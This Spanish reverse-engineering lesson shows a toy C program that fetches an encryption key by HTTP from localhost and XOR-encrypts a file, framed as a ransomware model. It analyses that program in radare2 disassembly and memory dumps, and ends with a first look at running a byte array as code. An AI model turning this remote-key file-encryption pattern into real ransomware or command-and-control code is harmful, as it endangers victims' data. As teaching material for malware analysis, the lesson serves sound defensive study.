Únete al equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Contacta con el equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Sistemas y comunicaciones / 18

HTTP y código generado

LoberaFormación técnica18 / 33 · 8 min de lectura · Linux / Windows · x86-64
18 / 33

Analizar la recepción de datos HTTP y distinguir datos, código y permisos de memoria.

Consultar conceptos ↗
Edición parcial: diferencias con el original

Se excluyen la implementación de cifrado de archivos con una clave remota y los programas que descargan y ejecutan shellcode. Se conserva el análisis del intercambio HTTP y de los datos recibidos.

Peticiones GET con sockets UNIX

Los sockets son la base de la red en cualquier sistema operativo. Puedes estar seguro de que muchas aplicaciones que usas a diario trabajan con sockets internamente, aunque llamen a funciones personalizadas.

Cualquier protocolo de red concreto como HTTP o DNS se puede «emular» o, mejor dicho, construir sobre sockets. Solo necesitamos conocer su funcionamiento: el formato, las cabeceras específicas, los tamaños, el esquema petición-respuesta, etc., para implementarlo con sockets. Al final solo tendremos que crear un buffer, rellenar sus bytes correctamente y llamar a write() sobre el socket correspondiente.

Hoy veremos un protocolo muy común: HTTP. Este protocolo se usa para la navegación web, nada nuevo, pero también se usa intensivamente en malware para implementar mecanismos de comando y control.

Piensa, por ejemplo, en un ransomware típico: sí, puede traer una clave criptográfica codificada dentro del binario, pero en ese caso no será muy útil ni peligroso, porque un reverser podría extraer fácilmente la clave del binario y descifrar los archivos. Pero ¿y si la clave llega por la red bajo ciertas condiciones y después deja de estar disponible? Entonces la única posibilidad pasa por interceptar todo el tráfico, lo cual puede ser difícil si el programa usa HTTPS, o por depurar y leer la memoria del programa mientras cifra, algo que el usuario medio probablemente no hará…

En el siguiente ejemplo he escrito un programa muy sencillo que obtiene una clave de 10 dígitos de un servidor remoto mediante una petición HTTP GET y luego la usa para cifrar con XOR un archivo de texto en disco.

Debo decir que no te animo a escribir ransomware ni ningún tipo de malware; podrías enfrentarte a consecuencias legales si lo haces.

Aquí está el código:

C / EJEMPLO
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <stdlib.h> 
#include <fcntl.h>
#include <stdlib.h>

#define BSIZE 256
#define KSIZE 11
// Lame sample routine for key extraction from an http response
void getKey(char buf[], char key[]){
    int i = 0;
    int kg = 0;
    int ki = 0;

    while(i < BSIZE && kg == 0){
        if(buf[i]== '<' && buf[i+1] == 'k' && buf[i+2] == '>' ){

            for(int j=i+3; j < KSIZE+i+2; j++){
                key[ki] = buf[j];
                ki = ki+1;
            }
            kg = 1;
        }
        i = i+1;
    }
}
// Lame sample routine for byte array xor
void cryp(char key[], char buf[]){

    for(int i = 0; i < KSIZE; i ++){
        buf[i] ^= key[i];
    }

}
// open a file xor the content and dump it to another file
void crypFile(char file[], char key[]){

    int infile, outfile; 
    char buff[KSIZE];
    infile = open (file, O_RDONLY , 0644); 
    outfile = open ("crypted.cry", O_WRONLY | O_CREAT, 0644);
    while(read(infile, &buff, KSIZE)){ 
        cryp(key, buff);

        write(outfile, &buff, KSIZE);
    }
    close (infile); 
    close (outfile);

}

int main(int argc, char *argv[]) {
   int sockfd, portno, n;
   struct sockaddr_in serv_addr;
   struct hostent *server;
   char key[KSIZE];
   char request[] = "GET /sh HTTP/1.1\r\nUser-Agent: nc/0.0.1\r\nHost: 127.0.0.1\r\nAccept: */*\r\n\r\n";
   char buffer[BSIZE];

   portno = 80;
   sockfd = socket(AF_INET, SOCK_STREAM, 0);
   server = gethostbyname("127.0.0.1");


   bzero((char *) &serv_addr, sizeof(serv_addr));
   serv_addr.sin_family = AF_INET;
   bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);
   serv_addr.sin_port = htons(portno);

   if (connect(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0) {
      exit(1);
   }

   bzero(buffer,BSIZE);

   n = write(sockfd, request, strlen(request));

   bzero(buffer,BSIZE);
   n = read(sockfd, buffer, BSIZE);
   getKey(buffer, key);

   crypFile("sample.txt",key);
   return 0;
}

Como ves, el algoritmo es sencillo: primero pedimos la clave al servidor remoto, el servidor devuelve una respuesta con datos sobre el estado de la petición como cabeceras HTTP y similares, y después el cuerpo contiene la clave marcada con la etiqueta k. Así que necesitamos parsearla: getKey extrae la clave y crypFile la usa para cifrar el archivo con XOR en fragmentos del tamaño de la clave.

Empezamos con la función main como siempre:

C / EJEMPLO
[0x55fa6e273bc4]> pdf
            ; DATA XREF from entry0 @ 0x55fa6e2738dd
 614: int main (int argc, char **argv, char **envp);
           ; var int64_t var_1b0h @ rbp-0x1b0
           ; var int64_t var_1a4h @ rbp-0x1a4
           ; var int64_t var_194h @ rbp-0x194
           ; var int64_t var_190h @ rbp-0x190
           ; var int64_t var_18ch @ rbp-0x18c
           ; var int64_t var_188h @ rbp-0x188
           ; var int64_t var_180h @ rbp-0x180
           ; var int64_t var_17eh @ rbp-0x17e
           ; var int64_t var_16bh @ rbp-0x16b
           ; var int64_t var_160h @ rbp-0x160
           ; var int64_t var_158h @ rbp-0x158
           ; var int64_t var_150h @ rbp-0x150
           ; var int64_t var_148h @ rbp-0x148
           ; var int64_t var_140h @ rbp-0x140
           ; var int64_t var_138h @ rbp-0x138
           ; var int64_t var_130h @ rbp-0x130
           ; var int64_t var_128h @ rbp-0x128
           ; var int64_t var_120h @ rbp-0x120
           ; var int64_t var_118h @ rbp-0x118
           ; var int64_t var_114h @ rbp-0x114
           ; var int64_t var_110h @ rbp-0x110
           ; var int64_t var_8h @ rbp-0x8
           ; arg int argc @ rdi
           ; arg char **argv @ rsi
           0x55fa6e273bc4      55             push rbp
           0x55fa6e273bc5      4889e5         mov rbp, rsp
           0x55fa6e273bc8      4881ecb00100.  sub rsp, 0x1b0
           0x55fa6e273bcf      89bd5cfeffff   mov dword [var_1a4h], edi ; argc
           0x55fa6e273bd5      4889b550feff.  mov qword [var_1b0h], rsi ; argv
           0x55fa6e273bdc      64488b042528.  mov rax, qword fs:[0x28]
           0x55fa6e273be5      488945f8       mov qword [var_8h], rax
           0x55fa6e273be9      31c0           xor eax, eax
           0x55fa6e273beb      48b847455420.  movabs rax, 0x79656b2f20544547 ; 'GET /key'
           0x55fa6e273bf5      48ba2e747874.  movabs rdx, 0x545448207478742e ; '.txt HTT'
           0x55fa6e273bff      488985a0feff.  mov qword [var_160h], rax
           0x55fa6e273c06      488995a8feff.  mov qword [var_158h], rdx
           0x55fa6e273c0d      48b8502f312e.  movabs rax, 0x550a0d312e312f50
           0x55fa6e273c17      48ba7365722d.  movabs rdx, 0x6e6567412d726573 ; 'ser-Agen'
           0x55fa6e273c21      488985b0feff.  mov qword [var_150h], rax
           0x55fa6e273c28      488995b8feff.  mov qword [var_148h], rdx
           0x55fa6e273c2f      48b8743a206e.  movabs rax, 0x2e302f636e203a74 ; 't: nc/0.'
           0x55fa6e273c39      48ba302e310d.  movabs rdx, 0x736f480a0d312e30
           0x55fa6e273c43      488985c0feff.  mov qword [var_140h], rax
           0x55fa6e273c4a      488995c8feff.  mov qword [var_138h], rdx
           0x55fa6e273c51      48b8743a2031.  movabs rax, 0x302e373231203a74 ; 't: 127.0'
           0x55fa6e273c5b      48ba2e302e31.  movabs rdx, 0x63410a0d312e302e
           0x55fa6e273c65      488985d0feff.  mov qword [var_130h], rax
           0x55fa6e273c6c      488995d8feff.  mov qword [var_128h], rdx
           0x55fa6e273c73      48b863657074.  movabs rax, 0x2f2a203a74706563 ; 'cept: */'
           0x55fa6e273c7d      488985e0feff.  mov qword [var_120h], rax
           0x55fa6e273c84      c785e8feffff.  mov dword [var_118h], 0xd0a0d2a
           0x55fa6e273c8e      66c785ecfeff.  mov word [var_114h], 0xa
           0x55fa6e273c97      c7856cfeffff.  mov dword [var_194h], 0x50 ; 'P' ; 80
           0x55fa6e273ca1      ba00000000     mov edx, 0
           0x55fa6e273ca6      be01000000     mov esi, 1
           0x55fa6e273cab      bf02000000     mov edi, 2
           0x55fa6e273cb0      e8ebfbffff     call sym.imp.socket     ; int socket(int domain, int type, int protocol)
           0x55fa6e273cb5      898570feffff   mov dword [var_190h], eax
           0x55fa6e273cbb      488d3dfe0100.  lea rdi, str.127.0.0.1  ; 0x55fa6e273ec0 ; "127.0.0.1"
           0x55fa6e273cc2      e879fbffff     call sym.imp.gethostbyname
           0x55fa6e273cc7      48898578feff.  mov qword [var_188h], rax
           0x55fa6e273cce      488d8580feff.  lea rax, [var_180h]
           0x55fa6e273cd5      be10000000     mov esi, 0x10           ; 16
           0x55fa6e273cda      4889c7         mov rdi, rax
           0x55fa6e273cdd      e88efbffff     call sym.imp.bzero      ; void bzero(void *s, size_t n)
           0x55fa6e273ce2      66c78580feff.  mov word [var_180h], 2
           0x55fa6e273ceb      488b8578feff.  mov rax, qword [var_188h]
           0x55fa6e273cf2      8b4014         mov eax, dword [rax + 0x14]
           0x55fa6e273cf5      4863d0         movsxd rdx, eax
           0x55fa6e273cf8      488b8578feff.  mov rax, qword [var_188h]
           0x55fa6e273cff      488b4018       mov rax, qword [rax + 0x18]
           0x55fa6e273d03      488b00         mov rax, qword [rax]
           0x55fa6e273d06      488d8d80feff.  lea rcx, [var_180h]
           0x55fa6e273d0d      4883c104       add rcx, 4
           0x55fa6e273d11      4889ce         mov rsi, rcx
           0x55fa6e273d14      4889c7         mov rdi, rax
           0x55fa6e273d17      e834fbffff     call sym.imp.bcopy
           0x55fa6e273d1c      8b856cfeffff   mov eax, dword [var_194h]
           0x55fa6e273d22      0fb7c0         movzx eax, ax
           0x55fa6e273d25      89c7           mov edi, eax
           0x55fa6e273d27      e8e4faffff     call sym.imp.htons
           0x55fa6e273d2c      66898582feff.  mov word [var_17eh], ax
           0x55fa6e273d33      488d8d80feff.  lea rcx, [var_180h]
           0x55fa6e273d3a      8b8570feffff   mov eax, dword [var_190h]
           0x55fa6e273d40      ba10000000     mov edx, 0x10           ; 16
           0x55fa6e273d45      4889ce  

De nuevo, esto es muy similar a lo que vimos en el tutorial anterior.

El programa empieza cargando la cadena de la petición GET.

C / EJEMPLO
           0x55fa6e273beb      48b847455420.  movabs rax, 0x79656b2f20544547 ; 'GET /key'
           0x55fa6e273bf5      48ba2e747874.  movabs rdx, 0x545448207478742e ; '.txt HTT'
           0x55fa6e273bff      488985a0feff.  mov qword [var_160h], rax
           0x55fa6e273c06      488995a8feff.  mov qword [var_158h], rdx
           0x55fa6e273c0d      48b8502f312e.  movabs rax, 0x550a0d312e312f50
           0x55fa6e273c17      48ba7365722d.  movabs rdx, 0x6e6567412d726573 ; 'ser-Agen'
           0x55fa6e273c21      488985b0feff.  mov qword [var_150h], rax
           0x55fa6e273c28      488995b8feff.  mov qword [var_148h], rdx
           0x55fa6e273c2f      48b8743a206e.  movabs rax, 0x2e302f636e203a74 ; 't: nc/0.'
           0x55fa6e273c39      48ba302e310d.  movabs rdx, 0x736f480a0d312e30
           0x55fa6e273c43      488985c0feff.  mov qword [var_140h], rax
           0x55fa6e273c4a      488995c8feff.  mov qword [var_138h], rdx
           0x55fa6e273c51      48b8743a2031.  movabs rax, 0x302e373231203a74 ; 't: 127.0'
           0x55fa6e273c5b      48ba2e302e31.  movabs rdx, 0x63410a0d312e302e
           0x55fa6e273c65      488985d0feff.  mov qword [var_130h], rax
           0x55fa6e273c6c      488995d8feff.  mov qword [var_128h], rdx
           0x55fa6e273c73      48b863657074.  movabs rax, 0x2f2a203a74706563 ; 'cept: */'
           0x55fa6e273c7d      488985e0feff.  mov qword [var_120h], rax
           0x55fa6e273c84      c785e8feffff.  mov dword [var_118h], 0xd0a0d2a
           0x55fa6e273c8e      66c785ecfeff.  mov word [var_114h], 0xa
           0x55fa6e273c97      c7856cfeffff.  mov dword [var_194h], 0x50 ; 'P' ; 80

La cadena se carga correctamente en memoria:

C / EJEMPLO
[0x55fa6e273cb0]> pxw @ 0x7ffc9a81e5c0
0x7ffc9a81e5c0  0x20544547 0x79656b2f 0x7478742e 0x54544820  GET /key.txt HTT
0x7ffc9a81e5d0  0x2e312f50 0x550a0d31 0x2d726573 0x6e656741  P/1.1..User-Agen
0x7ffc9a81e5e0  0x6e203a74 0x2e302f63 0x0d312e30 0x736f480a  t: nc/0.0.1..Hos
0x7ffc9a81e5f0  0x31203a74 0x302e3732 0x312e302e 0x63410a0d  t: 127.0.0.1..Ac
0x7ffc9a81e600  0x74706563 0x2f2a203a 0x0d0a0d2a 0x0000000a  cept: */*.......

Luego viene la creación del socket y la inicialización mediante connect.

C / EJEMPLO
           0x55fa6e273cb0 b    e8ebfbffff     call sym.imp.socket     ; int socket(int domain, int type, int protocol)
           0x55fa6e273cb5      898570feffff   mov dword [var_190h], eax
           0x55fa6e273cbb      488d3dfe0100.  lea rdi, str.127.0.0.1  ; 0x55fa6e273ec0 ; "127.0.0.1"
           0x55fa6e273cc2      e879fbffff     call sym.imp.gethostbyname
           0x55fa6e273cc7      48898578feff.  mov qword [var_188h], rax
           0x55fa6e273cce      488d8580feff.  lea rax, [var_180h]
           0x55fa6e273cd5      be10000000     mov esi, 0x10           ; 16
           0x55fa6e273cda      4889c7         mov rdi, rax

Así como la inicialización del buffer con bzero, nada especial que comentar.

Después, la lectura del servidor:

C / EJEMPLO
           0x55fa6e273dd5      e856faffff     call sym.imp.read       ; ssize_t read(int fildes, void *buf, size_t nbyte)
           ;-- rip:
           0x55fa6e273dda b    898574feffff   mov dword [var_18ch], eax

Tras el read, vemos que la clave ha sido entregada:

C / EJEMPLO
[0x55fa6e273dda]> pxw @ 0x7ffc9a81e610
0x7ffc9a81e610  0x50545448 0x312e312f 0x30303220 0x0d4b4f20  HTTP/1.1 200 OK.
0x7ffc9a81e620  0x7461440a 0x54203a65 0x202c7568 0x4a203430  .Date: Thu, 04 J
0x7ffc9a81e630  0x32206e75 0x20303230 0x333a3131 0x39323a31  un 2020 11:31:29
0x7ffc9a81e640  0x544d4720 0x65530a0d 0x72657672 0x7041203a   GMT..Server: Ap
0x7ffc9a81e650  0x65686361 0x342e322f 0x2039322e 0x75625528  ache/2.4.29 (Ubu
0x7ffc9a81e660  0x2975746e 0x614c0a0d 0x4d2d7473 0x6669646f  ntu)..Last-Modif
0x7ffc9a81e670  0x3a646569 0x64655720 0x3330202c 0x6e754a20  ied: Wed, 03 Jun
0x7ffc9a81e680  0x32303220 0x38302030 0x3a36303a 0x47203434   2020 08:06:44 G
0x7ffc9a81e690  0x0a0d544d 0x67615445 0x3122203a 0x61352d32  MT..ETag: "12-5a
0x7ffc9a81e6a0  0x38393237 0x33303432 0x22353031 0x63410a0d  72982403105"..Ac
0x7ffc9a81e6b0  0x74706563 0x6e61522d 0x3a736567 0x74796220  cept-Ranges: byt
0x7ffc9a81e6c0  0x0a0d7365 0x746e6f43 0x2d746e65 0x676e654c  es..Content-Leng
0x7ffc9a81e6d0  0x203a6874 0x0a0d3831 0x746e6f43 0x2d746e65  th: 18..Content-
0x7ffc9a81e6e0  0x65707954 0x6574203a 0x702f7478 0x6e69616c  Type: text/plain
0x7ffc9a81e6f0  0x0a0d0a0d 0x303e6b3c 0x34333231 0x38373635  ....<k>012345678
0x7ffc9a81e700  0x6b2f3c39 0x00000a3e 0x00000000 0x00000000  9</k>...........

Pero como hemos dicho, el servidor incluyó cabeceras HTTP e información innecesaria. Procedemos a parsear la clave:

C / EJEMPLO
[0x55fa6e2739ca]> pdf
            ; CALL XREF from main @ 0x55fa6e273df4
            ;-- rip:
 198: sym.getKey (int64_t arg1, int64_t arg2);
           ; var int64_t var_20h @ rbp-0x20
           ; var int64_t var_18h @ rbp-0x18
           ; var int64_t var_10h @ rbp-0x10
           ; var int64_t var_ch @ rbp-0xc
           ; var int64_t var_8h @ rbp-0x8
           ; var int64_t var_4h @ rbp-0x4
           ; arg int64_t arg1 @ rdi
           ; arg int64_t arg2 @ rsi
           0x55fa6e2739ca      55             push rbp
           0x55fa6e2739cb      4889e5         mov rbp, rsp
           0x55fa6e2739ce      48897de8       mov qword [var_18h], rdi ; arg1
           0x55fa6e2739d2      488975e0       mov qword [var_20h], rsi ; arg2
           0x55fa6e2739d6      c745f0000000.  mov dword [var_10h], 0
           0x55fa6e2739dd      c745f4000000.  mov dword [var_ch], 0
           0x55fa6e2739e4      c745f8000000.  mov dword [var_8h], 0
       ┌─< 0x55fa6e2739eb      e98a000000     jmp 0x55fa6e273a7a
      ┌──> 0x55fa6e2739f0      8b45f0         mov eax, dword [var_10h]
      ╎│   0x55fa6e2739f3      4863d0         movsxd rdx, eax
      ╎│   0x55fa6e2739f6      488b45e8       mov rax, qword [var_18h]
      ╎│   0x55fa6e2739fa      4801d0         add rax, rdx
      ╎│   0x55fa6e2739fd      0fb600         movzx eax, byte [rax]
      ╎│   0x55fa6e273a00      3c3c           cmp al, 0x3c            ; 60
     ┌───< 0x55fa6e273a02      7572           jne 0x55fa6e273a76
     │╎│   0x55fa6e273a04      8b45f0         mov eax, dword [var_10h]
     │╎│   0x55fa6e273a07      4898           cdqe
     │╎│   0x55fa6e273a09      488d5001       lea rdx, [rax + 1]
     │╎│   0x55fa6e273a0d      488b45e8       mov rax, qword [var_18h]
     │╎│   0x55fa6e273a11      4801d0         add rax, rdx
     │╎│   0x55fa6e273a14      0fb600         movzx eax, byte [rax]
     │╎│   0x55fa6e273a17      3c6b           cmp al, 0x6b            ; 107
    ┌────< 0x55fa6e273a19      755b           jne 0x55fa6e273a76
    ││╎│   0x55fa6e273a1b      8b45f0         mov eax, dword [var_10h]
    ││╎│   0x55fa6e273a1e      4898           cdqe
    ││╎│   0x55fa6e273a20      488d5002       lea rdx, [rax + 2]
    ││╎│   0x55fa6e273a24      488b45e8       mov rax, qword [var_18h]
    ││╎│   0x55fa6e273a28      4801d0         add rax, rdx
    ││╎│   0x55fa6e273a2b      0fb600         movzx eax, byte [rax]
    ││╎│   0x55fa6e273a2e      3c3e           cmp al, 0x3e            ; 62
   ┌─────< 0x55fa6e273a30      7544           jne 0x55fa6e273a76
   │││╎│   0x55fa6e273a32      8b45f0         mov eax, dword [var_10h]
   │││╎│   0x55fa6e273a35      83c003         add eax, 3
   │││╎│   0x55fa6e273a38      8945fc         mov dword [var_4h], eax
  ┌──────< 0x55fa6e273a3b      eb27           jmp 0x55fa6e273a64
 ┌───────> 0x55fa6e273a3d      8b45fc         mov eax, dword [var_4h]
 ╎││││╎│   0x55fa6e273a40      4863d0         movsxd rdx, eax
 ╎││││╎│   0x55fa6e273a43      488b45e8       mov rax, qword [var_18h]
 ╎││││╎│   0x55fa6e273a47      4801d0         add rax, rdx
 ╎││││╎│   0x55fa6e273a4a      8b55f8         mov edx, dword [var_8h]
 ╎││││╎│   0x55fa6e273a4d      4863ca         movsxd rcx, edx
 ╎││││╎│   0x55fa6e273a50      488b55e0       mov rdx, qword [var_20h]
 ╎││││╎│   0x55fa6e273a54      4801ca         add rdx, rcx
 ╎││││╎│   0x55fa6e273a57      0fb600         movzx eax, byte [rax]
 ╎││││╎│   0x55fa6e273a5a      8802           mov byte [rdx], al
 ╎││││╎│   0x55fa6e273a5c      8345f801       add dword [var_8h], 1
 ╎││││╎│   0x55fa6e273a60      8345fc01       add dword [var_4h], 1
 ╎││││╎│   ; CODE XREF from sym.getKey @ 0x55fa6e273a3b
 ╎└──────> 0x55fa6e273a64      8b45f0         mov eax, dword [var_10h]
  │││╎│   0x55fa6e273a67      83c00d         add eax, 0xd            ; 13
  │││╎│   0x55fa6e273a6a      3945fc         cmp dword [var_4h], eax
 └───────< 0x55fa6e273a6d      7cce           jl 0x55fa6e273a3d
   │││╎│   0x55fa6e273a6f      c745f4010000.  mov dword [var_ch], 1
   └└└───> 0x55fa6e273a76      8345f001       add dword [var_10h], 1
      ╎│   ; CODE XREF from sym.getKey @ 0x55fa6e2739eb
      ╎└─> 0x55fa6e273a7a      817df0ff0000.  cmp dword [var_10h], 0xff
      ╎┌─< 0x55fa6e273a81      7f0a           jg 0x55fa6e273a8d
      ╎│   0x55fa6e273a83      837df400       cmp dword [var_ch], 0
      └──< 0x55fa6e273a87      0f8463ffffff   je 0x55fa6e2739f0
       └─> 0x55fa6e273a8d      90             nop
           0x55fa6e273a8e      5d             pop rbp
           0x55fa6e273a8f      c3             ret
[0x55fa6e2739ca]> 

La función getKey es un poco caótica, pero centrémonos en lo relevante.

C / EJEMPLO
      ╎│   0x55fa6e2739fd      0fb600         movzx eax, byte [rax]
      ╎│   0x55fa6e273a00      3c3c           cmp al, 0x3c            ; 60
     ┌───< 0x55fa6e273a02      7572           jne 0x55fa6e273a76
     │╎│   0x55fa6e273a04      8b45f0         mov eax, dword [var_10h]
     │╎│   0x55fa6e273a07      4898           cdqe
     │╎│   0x55fa6e273a09      488d5001       lea rdx, [rax + 1]
     │╎│   0x55fa6e273a0d      488b45e8       mov rax, qword [var_18h]
     │╎│   0x55fa6e273a11      4801d0         add rax, rdx
     │╎│   0x55fa6e273a14      0fb600         movzx eax, byte [rax]
     │╎│   0x55fa6e273a17      3c6b           cmp al, 0x6b            ; 107
    ┌────< 0x55fa6e273a19      755b           jne 0x55fa6e273a76
    ││╎│   0x55fa6e273a1b      8b45f0         mov eax, dword [var_10h]
    ││╎│   0x55fa6e273a1e      4898           cdqe
    ││╎│   0x55fa6e273a20      488d5002       lea rdx, [rax + 2]
    ││╎│   0x55fa6e273a24      488b45e8       mov rax, qword [var_18h]
    ││╎│   0x55fa6e273a28      4801d0         add rax, rdx
    ││╎│   0x55fa6e273a2b      0fb600         movzx eax, byte [rax]
    ││╎│   0x55fa6e273a2e      3c3e           cmp al, 0x3e            ; 62
   ┌─────< 0x55fa6e273a30      7544           jne 0x55fa6e273a76

El programa entra en un bucle recorriendo el buffer carácter a carácter y compara el carácter actual con 60 = '<'. Luego compara los dos caracteres siguientes con 'k' y '>'. Itera diez veces extrayendo la clave, que se actualizará tras el retorno a través de local_var_10h.

C / EJEMPLO
[0x55fa6e273bc4]> pxw @ 0x7ffc9a81e5b5
0x7ffc9a81e5b5  0x33323130 0x37363534 0x47003938 0x2f205445  0123456789.GET /

Después la función de cifrado. No entraré en mucho detalle porque ya la vimos en tutoriales anteriores de este curso. crypfile abre el archivo y lo recorre fragmento a fragmento leyendo, cifrando con XOR y escribiendo.

C / EJEMPLO
           0x55fa6e273b38      e823fdffff     call sym.imp.open       ; int open(const char *path, int oflag)
           0x55fa6e273b3d      8945e8         mov dword [var_18h], eax
       ┌─< 0x55fa6e273b40      eb2e           jmp 0x55fa6e273b70
      ┌──> 0x55fa6e273b42      488d55ed       lea rdx, [var_13h]
      ╎│   0x55fa6e273b46      488b45d0       mov rax, qword [var_30h]
      ╎│   0x55fa6e273b4a      4889d6         mov rsi, rdx
      ╎│   0x55fa6e273b4d      4889c7         mov rdi, rax
      ╎│   0x55fa6e273b50      e83bffffff     call sym.cryp
      ╎│   0x55fa6e273b55      488d4ded       lea rcx, [var_13h]
      ╎│   0x55fa6e273b59      8b45e8         mov eax, dword [var_18h]
      ╎│   0x55fa6e273b5c      ba0b000000     mov edx, 0xb            ; 11
      ╎│   0x55fa6e273b61      4889ce         mov rsi, rcx
      ╎│   0x55fa6e273b64      89c7           mov edi, eax
      ╎│   0x55fa6e273b66      b800000000     mov eax, 0
      ╎│   0x55fa6e273b6b      e870fcffff     call sym.imp.write      ; ssize_t write(int fd, const char *ptr, size_t nbytes)
      ╎│   ; CODE XREF from sym.crypFile @ 0x55fa6e273b40
      ╎└─> 0x55fa6e273b70      488d4ded       lea rcx, [var_13h]
          0x55fa6e273b74      8b45e4         mov eax, dword [var_1ch]
          0x55fa6e273b77      ba0b000000     mov edx, 0xb            ; 11
          0x55fa6e273b7c      4889ce         mov rsi, rcx
          0x55fa6e273b7f      89c7           mov edi, eax
          0x55fa6e273b81      b800000000     mov eax, 0
          0x55fa6e273b86      e8a5fcffff     call sym.imp.read       ; ssize_t read(int fildes, void *buf, size_t nbyte)
          0x55fa6e273b8b      85c0           test eax, eax
      └──< 0x55fa6e273b8d      75b3           jne 0x55fa6e273b42

Y cryp recorre carácter a carácter durante KSIZE caracteres y realiza el XOR con la clave.

C / EJEMPLO
      ┌──> 0x00000aa5      8b45fc         mov eax, dword [var_4h]
      ╎│   0x00000aa8      4863d0         movsxd rdx, eax
      ╎│   0x00000aab      488b45e0       mov rax, qword [var_20h]
      ╎│   0x00000aaf      4801d0         add rax, rdx
      ╎│   0x00000ab2      0fb630         movzx esi, byte [rax]
      ╎│   0x00000ab5      8b45fc         mov eax, dword [var_4h]
      ╎│   0x00000ab8      4863d0         movsxd rdx, eax
      ╎│   0x00000abb      488b45e8       mov rax, qword [var_18h]
      ╎│   0x00000abf      4801d0         add rax, rdx
      ╎│   0x00000ac2      0fb608         movzx ecx, byte [rax]
      ╎│   0x00000ac5      8b45fc         mov eax, dword [var_4h]
      ╎│   0x00000ac8      4863d0         movsxd rdx, eax
      ╎│   0x00000acb      488b45e0       mov rax, qword [var_20h]
      ╎│   0x00000acf      4801d0         add rax, rdx
      ╎│   0x00000ad2      31ce           xor esi, ecx
      ╎│   0x00000ad4      89f2           mov edx, esi
      ╎│   0x00000ad6      8810           mov byte [rax], dl
      ╎│   0x00000ad8      8345fc01       add dword [var_4h], 1
      ╎│   ; CODE XREF from sym.cryp @ 0xaa3
      ╎└─> 0x00000adc      837dfc0a       cmp dword [var_4h], 0xa
      └──< 0x00000ae0      7ec3           jle 0xaa5

Pasemos ahora al siguiente tema.

Descarga y ejecución de código en memoria

Introducción al shellcode

Esta entrega no trata sobre la escritura de shellcode; lo veremos en detalle más adelante en el curso. Aquí solo vamos a presentar un concepto nuevo vinculado al tema de sockets que estamos tratando.

Empecemos con este programa muy sencillo:

C / EJEMPLO
#include <stdio.h>

void hello(){
    char h[] = "hello world";
    printf(h);
}

void main(){
    hello();
}

Contiene un par de funciones. Una es la clásica función main, la otra simplemente imprime «hello world». Inspeccionemos esta segunda:

C / EJEMPLO
[0x7f4653774090]> s sym.hello
[0x5561e0c6c6aa]> pdf
            ; CALL XREF from main @ 0x5561e0c6c707
 84: sym.hello ();
           ; var int64_t var_14h @ rbp-0x14
           ; var int64_t var_ch @ rbp-0xc
           ; var int64_t var_8h @ rbp-0x8
           0x5561e0c6c6aa      55             push rbp
           0x5561e0c6c6ab      4889e5         mov rbp, rsp
           0x5561e0c6c6ae      4883ec20       sub rsp, 0x20
           0x5561e0c6c6b2      64488b042528.  mov rax, qword fs:[0x28]
           0x5561e0c6c6bb      488945f8       mov qword [var_8h], rax
           0x5561e0c6c6bf      31c0           xor eax, eax
           0x5561e0c6c6c1      48b868656c6c.  movabs rax, 0x6f77206f6c6c6568 ; 'hello wo'
           0x5561e0c6c6cb      488945ec       mov qword [var_14h], rax
           0x5561e0c6c6cf      c745f4726c64.  mov dword [var_ch], 0x646c72 ; 'rld'
           0x5561e0c6c6d6      488d45ec       lea rax, [var_14h]
           0x5561e0c6c6da      4889c7         mov rdi, rax
           0x5561e0c6c6dd      b800000000     mov eax, 0
           0x5561e0c6c6e2      e899feffff     call sym.imp.printf     ; int printf(const char *format)
           0x5561e0c6c6e7      90             nop
           0x5561e0c6c6e8      488b45f8       mov rax, qword [var_8h]
           0x5561e0c6c6ec      644833042528.  xor rax, qword fs:[0x28]
       ┌─< 0x5561e0c6c6f5      7405           je 0x5561e0c6c6fc
          0x5561e0c6c6f7      e874feffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
       └─> 0x5561e0c6c6fc      c9             leave
           0x5561e0c6c6fd      c3             ret
[0x5561e0c6c6aa]> 

Como puedes ver, todo está de algún modo «autocontenido» dentro de esta función. La cadena se «genera» y carga dentro de la función, los valores originales de registros y pila relativos al bloque de código que llama se guardan y restauran, y las llamadas (a printf) referencian símbolos que serán «comunes» en sistemas Unix…

La cadena se autogenera en memoria. ¿Habría alguna forma de autogenerar código real en memoria de una manera similar?

Pues sí.

Si miras el desensamblado, verás los opcodes justo en la segunda columna. Esa es la esencia del programa binario, es lo que la «CPU» ve y procesa. Así que si conseguimos preparar un buffer con el conjunto correcto de opcodes en memoria y mover el puntero de ejecución allí, el sentido común nos dice que se ejecutarán como código real. Profundizaremos en este tema más adelante en el curso, pero creo que ya captas la idea principal.

Veamos un ejemplo sencillo y después volvamos a nuestro hello world.

C / EJEMPLO
#include <stdio.h>
#include<string.h>
#include <stdint.h>

const uint8_t b2[4] = {
  0x90, 0x90, 0x90, 0x90
};

void main(){

    int (*func)();
    func = (int (*)()) b2;
    (int)(*func)();

}

Este programa declara un array de bytes (hexadecimales) y después declara una función «mágica» que básicamente sitúa el puntero de instrucciones al inicio del array. Veámoslo dentro de r2, tendrá más sentido.

C / EJEMPLO
[0x557a8fb295fa]> pdf
            ; DATA XREF from entry0 @ 0x557a8fb2950d
 33: int main (int argc, char **argv, char **envp);
           ; var int64_t var_8h @ rbp-0x8
           0x557a8fb295fa      55             push rbp
           0x557a8fb295fb      4889e5         mov rbp, rsp
           0x557a8fb295fe      4883ec10       sub rsp, 0x10
           0x557a8fb29602      488d059b0000.  lea rax, obj.b2         ; 0x557a8fb296a4
           0x557a8fb29609      488945f8       mov qword [var_8h], rax
           0x557a8fb2960d      488b55f8       mov rdx, qword [var_8h]
           0x557a8fb29611      b800000000     mov eax, 0
           0x557a8fb29616      ffd2           call rdx
           0x557a8fb29618      90             nop
           0x557a8fb29619      c9             leave
           0x557a8fb2961a      c3             ret
[0x557a8fb295fa]> 

Si sabes algo de ASM y opcodes, verás que 0x90 es el opcode de la instrucción nop. La instrucción nop simplemente no hace nada.

El programa empieza moviendo el puntero a una dirección a rax = 0x557a8fb296a4.

C / EJEMPLO
[0x557a8fb295fa]> pxw @ 0x557a8fb296a4
0x557a8fb296a4  0x90909090 0x3b031b01 0x0000003c 0x00000006  .......;<.......

